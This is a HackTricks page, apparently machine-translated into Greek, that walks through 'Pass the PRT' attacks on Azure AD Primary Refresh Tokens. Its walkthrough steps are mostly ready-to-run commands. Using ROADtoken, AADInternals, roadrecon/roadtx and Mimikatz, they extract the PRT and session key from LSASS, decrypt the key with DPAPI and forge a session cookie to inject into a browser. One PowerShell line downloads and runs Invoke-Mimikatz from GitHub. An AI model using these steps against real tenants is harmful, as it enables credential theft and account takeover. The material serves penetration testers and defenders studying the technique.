Az - Pass the PRT

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Τι είναι ένα PRT

pageAz - Primary Refresh Token (PRT)

Ελέγξτε εάν έχετε ένα PRT

Dsregcmd.exe /status

Στην ενότητα SSO State, θα πρέπει να δείτε το AzureAdPrt να έχει οριστεί σε YES.

Στην ίδια έξοδο μπορείτε επίσης να δείτε αν η συσκευή είναι ενταγμένη στο Azure (στο πεδίο AzureAdJoined):

Το PRT cookie ονομάζεται πραγματικά x-ms-RefreshTokenCredential και είναι ένα JSON Web Token (JWT). Ένα JWT περιέχει 3 μέρη, το header, το payload και τη υπογραφή, χωρισμένα με ένα . και όλα κωδικοποιημένα σε url-safe base64. Ένα τυπικό PRT cookie περιέχει τα ακόλουθα header και body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Το πραγματικό Primary Refresh Token (PRT) ενθυλακώνεται μέσα στο refresh_token, το οποίο κρυπτογραφείται με ένα κλειδί υπό τον έλεγχο του Azure AD, καθιστώντας τα περιεχόμενά του αδιαφανή και αδυνατούμενα να αποκρυπτογραφηθούν από εμάς. Το πεδίο is_primary υποδηλώνει την ενθυλάκωση του πρωτεύοντος refresh token μέσα σε αυτό το token. Για να διασφαλιστεί ότι το cookie παραμένει συνδεδεμένο με τη συγκεκριμένη συνεδρία σύνδεσης για την οποία προορίζεται, το request_nonce μεταδίδεται από τη σελίδα logon.microsoftonline.com.

Η διεργασία LSASS θα στείλει στο TPM το KDF context, και το TPM θα χρησιμοποιήσει το session key (συλλέχθηκε κατά την εγγραφή της συσκευής στο AzureAD και αποθηκεύεται στο TPM) και το προηγούμενο context για να παράγει ένα κλειδί, και αυτό το παράγον κλειδί χρησιμοποιείται για να υπογράψει το PRT cookie (JWT).

Το KDF context είναι ένα nonce από το AzureAD και το PRT που δημιουργεί ένα JWT αναμεμειγμένο με ένα context (τυχαία bytes).

Επομένως, ακόμη κι αν το PTR δεν μπορεί να εξαχθεί επειδή βρίσκεται μέσα στο TPM, είναι δυνατό να καταχραστείτε το LSASS για να ζητήσετε παράγωγα κλειδιά από νέα context και να χρησιμοποιήσετε τα παραγόμενα κλειδιά για να υπογράψετε Cookies.

Σενάρια κατάχρησης του PRT

Ως κανονικός χρήστης είναι δυνατό να ζητήσετε τη χρήση του PRT ζητώντας από το LSASS δεδομένα SSO. Αυτό μπορεί να γίνει όπως οι εφαρμογές native που ζητούν διακριτικά από τον Web Account Manager (token broker). Ο WAM περνά το αίτημα στο LSASS, το οποίο ζητά διακριτικά χρησιμοποιώντας υπογεγραμμένη PRT δήλωση. Ή μπορεί να γίνει με ροές βασισμένες σε προγράμματα περιήγησης (web) όπου ένα PRT cookie χρησιμοποιείται ως κεφαλίδα για την αυθεντικοποίηση αιτημάτων προς τις σελίδες σύνδεσης Azure AS.

Ως SYSTEM μπορείτε να κλέψετε το PRT αν δεν προστατεύεται από το TPM ή να αλληλεπιδράσετε με τα κλειδιά PRT στο LSASS χρησιμοποιώντας κρυπτογραφικές διεπαφές.

Παραδείγματα επίθεσης Pass-the-PRT

Επίθεση - ROADtoken

Για περισσότερες πληροφορίες για αυτόν τον τρόπο ελέγξτε αυτήν την ανάρτηση. Το ROADtoken θα εκτελέσει το BrowserCore.exe από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να αποκτήσει ένα PRT cookie. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με το ROADtools για να αυθεντικοποιηθεί και να αποκτηθεί ένα ανθεκτικό refresh token.

Για να δημιουργήσετε ένα έγκυρο PRT cookie, το πρώτο πράγμα που χρειάζεστε είναι ένα nonce. Μπορείτε να το πάρετε με:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Ή χρησιμοποιώντας το roadrecon:

roadrecon auth prt-init

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το roadtoken για να λάβετε ένα νέο PRT (εκτελέστε το εργαλείο από ένα διεργασία του χρήστη για επίθεση):

.\ROADtoken.exe <nonce>

Όπως oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το δημιουργημένο cookie για να δημιουργήσετε διαπιστευτήρια για να συνδεθείτε χρησιμοποιώντας το Azure AD Graph ή το Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Επίθεση - Χρήση του roadrecon

Επίθεση - Χρήση του AADInternals και ενός διαρρευμένου PTR

Το Get-AADIntUserPRTToken αποκτά το PRT token του χρήστη από τον υπολογιστή που είναι εγγεγραμμένος στο Azure AD ή στο Hybrid. Χρησιμοποιεί το BrowserCore.exe για να αποκτήσει το PRT token.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Ή αν έχετε τις τιμές από το Mimikatz, μπορείτε επίσης να χρησιμοποιήσετε το AADInternals για να δημιουργήσετε ένα διακριτικό:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Πηγαίνετε στη διεύθυνση https://login.microsoftonline.com, διαγράψτε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Στη συνέχεια, μεταβείτε στη διεύθυνση https://portal.azure.com

Τα υπόλοιπα πρέπει να είναι οι προεπιλογές. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται. Αν συμβεί αυτό, μπορεί να έχετε κάνει κάποιο λάθος και θα πρέπει να επαναλάβετε τη διαδικασία. Αν δεν συμβεί, τότε είστε καλά.

Επίθεση - Mimikatz

Βήματα

  1. Το PRT (Primary Refresh Token) εξάγεται από το LSASS (Local Security Authority Subsystem Service) και αποθηκεύεται για μελλοντική χρήση.

  2. Στη συνέχεια, εξάγεται το Session Key. Δεδομένου ότι αυτό το κλειδί εκδίδεται αρχικά και στη συνέχεια επανακρυπτογραφείται από την τοπική συσκευή, απαιτείται αποκρυπτογράφηση χρησιμοποιώντας έναν DPAPI masterkey. Λεπτομερείς πληροφορίες για το DPAPI (Data Protection API) μπορούν να βρεθούν σε αυτούς τους πόρους: HackTricks και για κατανόηση της εφαρμογής του, ανατρέξτε στην επίθεση Pass-the-cookie.

  3. Μετά την αποκρυπτογράφηση του Session Key, αποκτώνται το παράγωγο κλειδί και ο περιβάλλοντος για το PRT. Αυτά είναι κρίσιμα για τη δημιουργία του PRT cookie. Συγκεκριμένα, το παράγωγο κλειδί χρησιμοποιείται για την υπογραφή του JWT (JSON Web Token) που αποτελεί το cookie. Μια λεπτομερής εξήγηση αυτής της διαδικασίας παρέχεται από τον Dirk-jan, προσβάσιμη εδώ.

Σημειώστε ότι αν το PRT βρίσκεται μέσα στο TPM και όχι μέσα στο lsass, το mimikatz δεν θα μπορεί να το εξάγει. Ωστόσο, θα είναι δυνατό να αποκτηθεί ένα κλειδί από ένα παράγωγο κλειδί από ένα περιβάλλον του TPM και να χρησιμοποιηθεί για την υπογραφή ενός cookie (ελέγξτε την επιλογή 3).

Μπορείτε να χρησιμοποιήσετε το mimikatz για να εξάγετε το PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Εικόνες από https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Αντιγράψτε το μέρος που έχει επισημανθεί ως Prt και αποθηκεύστε το. Εξάγετε επίσης το κλειδί συνεδρίας (το KeyValue του πεδίου ProofOfPossesionKey) που μπορείτε να δείτε επισημασμένο παρακάτω. Αυτό είναι κρυπτογραφημένο και θα χρειαστούμε να χρησιμοποιήσουμε τα κλειδιά μας DPAPI για να το αποκρυπτογραφήσουμε.

Εάν δεν βλέπετε καμία δεδομένα PRT, μπορεί να σημαίνει ότι δεν έχετε κανένα PRT επειδή η συσκευή σας δεν είναι ενταγμένη στο Azure AD ή μπορεί να εκτελείτε μια παλαιότερη έκδοση των Windows 10.

Για να αποκρυπτογραφήσετε το κλειδί συνεδρίας, πρέπει να αυξήσετε τα δικαιώματά σας σε SYSTEM για να εκτελέσετε υπό το πλαίσιο του υπολογιστή και να μπορέσετε να χρησιμοποιήσετε το DPAPI masterkey για να το αποκρυπτογραφήσετε. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Επιλογή 1 - Πλήρες Mimikatz

  • Τώρα θέλετε να αντιγράψετε και τις δύο τιμές του Context:

  • Και την τιμή του παραγόμενου κλειδιού:

  • Τέλος, μπορείτε να χρησιμοποιήσετε όλες αυτές τις πληροφορίες για να δημιουργήσετε τα cookies PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • Πηγαίνετε στο https://login.microsoftonline.com, διαγράψτε όλα τα cookies για το login.microsoftonline.com και εισάγετε ένα νέο cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Το υπόλοιπο πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται. Αν συμβεί αυτό, μπορεί να έχετε κάνει κάποιο λάθος και θα πρέπει να επαναλάβετε τη διαδικασία. Αν δεν συμβεί αυτό, τότε είστε έτοιμοι.

Επιλογή 2 - roadrecon χρησιμοποιώντας PTR

  • Ανανεώστε πρώτα το PRT, το οποίο θα αποθηκευτεί στο roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Τώρα μπορούμε να ζητήσουμε διαπιστευτήρια χρησιμοποιώντας το περιηγητή με την εντολή roadtx browserprtauth. Εάν χρησιμοποιήσουμε την εντολή roadtx describe, βλέπουμε ότι το διαπιστευτήριο πρόσβασης περιλαμβάνει μια αίτηση MFA επειδή το PRT που χρησιμοποίησα σε αυτήν την περίπτωση είχε επίσης μια αίτηση MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Επιλογή 3 - roadrecon χρησιμοποιώντας παραγώγισμένα κλειδιά

Έχοντας το πλαίσιο και το παραγώγισμένο κλειδί που αντλήθηκε από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να δημιουργηθεί ένα νέο υπογεγραμμένο cookie με:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated